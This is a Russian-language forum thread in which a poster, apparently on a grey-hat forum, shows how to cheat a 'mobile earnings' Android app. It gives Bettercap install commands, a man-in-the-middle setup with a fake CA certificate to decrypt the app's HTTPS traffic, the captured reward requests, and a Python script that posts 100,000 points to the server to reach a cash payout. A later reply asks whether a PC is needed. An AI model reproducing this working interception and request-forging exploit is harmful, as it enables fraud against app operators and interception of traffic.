Бесконечная накрутка в уязвимых android приложениях

  • Автор темы OneForm
  • Дата начала
  • Просмотров 7879 Просмотров

OneForm

Продавец
93
136
27 Фев 2018
Сегодня я хотел бы показать на примере, как халатно относятся разработчики приложений для "мобильного заработка" (заработка разработчиков, естественно) к безопасности своих программ.

Инструменты:

  1. Bettercap
    На Kali Linux:
    sudo apt-get install build-essential ruby-dev libpcap-dev
    sudo apt-get install bettercap
    На других Linux-системах:
    git clone Для просмотра ссылки Войди или Зарегистрируйся
    cd bettercap
    gem build bettercap.gemspec
    sudo gem install bettercap*.gem
  2. VM либо телефон на android с play market
Устанавливаем приложение.

Достаточно набрать в поиске гугл плей что-то вроде "Мобильный заработок" или "Накрутка лайков вк" и т.д.
Я выбрал с картинкой посмешнее и названием поглупее.

Поддельный сертефикат.

Большинство приложений сегодня используют https соеденение. Что бы мы могли расшифровать трафик, будем использовать поддельный сертефикат. Таковой уже имеется в Bettercap в директории /sudo/.bettercap/bettercap-ca.pem . Его нужно установить на телефон (настройки > безопасность > сертефикаты).

Начинаем снифать трафик.

В консоли компьютера пишем:
sudo bettercap -T 192.168.0.100 --proxy-https --sniffer
Где
-T - ip телефона
--proxy-https - использовать прокси с поддельным https сертефикатом для расшифровки траффика
--sniffer - запустить сниффер пакетов.

OVnd1e8Mfk0.jpg


Исследуем трафик приложения.

Теперь, когда трафик отслеживается, поклацаем по разным кнопкам и попробуем выполнить задание.

4nWE0vO2HUc.jpg


Я нашёл для себя интересными два запроса:

получил бонус
[192.168.0.100] POST %ссылка% ( text/html ) [200]

[REQUEST HEADERS]
'User-Agent' : %user_agent%
'Content-Type : application/x-www-form-urlencoded'
'Content-Length : 44'
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity

[REQUEST BODY]
userid : %user_id%
points : 100
type : Daily_Reward_v2
Выполнил задание
[192.168.0.100] POST %ссылка% ( text/html ) [200]

[REQUEST HEADERS]
User-Agent : %user_agent%
Content-Type : application/x-www-form-urlencoded
Content-Length : 40
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity

[REQUEST BODY]
username : %user_name%
points : 50
type : Vungle_Video

Создаём кастомный запрос.

Поэксперементировав с данными из полученых запросов, пишем скрипт для отправки кастомного запроса:
import requests
link = '%ссылка%'
headers = {'User-Agent' : %user_agent%,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length' : '44',
'Host' : 'url.bitcoin-miner.ru',
'Connection' : 'close',
'Accept-Encoding' : 'identity'}
payload = {'userid' : %user_id%,
'points' : 100000, # да да, можно поставить столько монет, сколько захочешь
'type' : 'Vungle_Video'}
r = requests.post(link, headers=headers, data=payload) # можно запихнуть в цикл, если бы сервис не разрешал менять колличество получаемых очков за раз.
print(r.text)
Запрос выполнился с ответом
{"result":"true","msg":"Points Updated"}
Очки начислены мне на аккаунт, это, кстати говоря, минимальная сумма выплаты (8$)

Итог.

Гугл плей забит подобными приложениями, разработчики которых зарабатывают на желании быстрой наживы у неокрепших умов. Чаще всего, правда, создатели совсем не заботятся о безопасности своего детища. В этом случае мне пришлось поэксперементировать с запросами, но что-то мне подсказывает, что во многих подобных приложениях можно просто циклично переотправить один запрос, выдающий монетки за выполненное задание.
 
Последнее редактирование:

WebDeeb

ЭЛИТНАЯ ЧЁРНАЯ ШКОЛА
125
36
11 Авг 2019
Написал в телегу,и создатель темы слился( хех
Обязательно нужен пк для данной процедуры?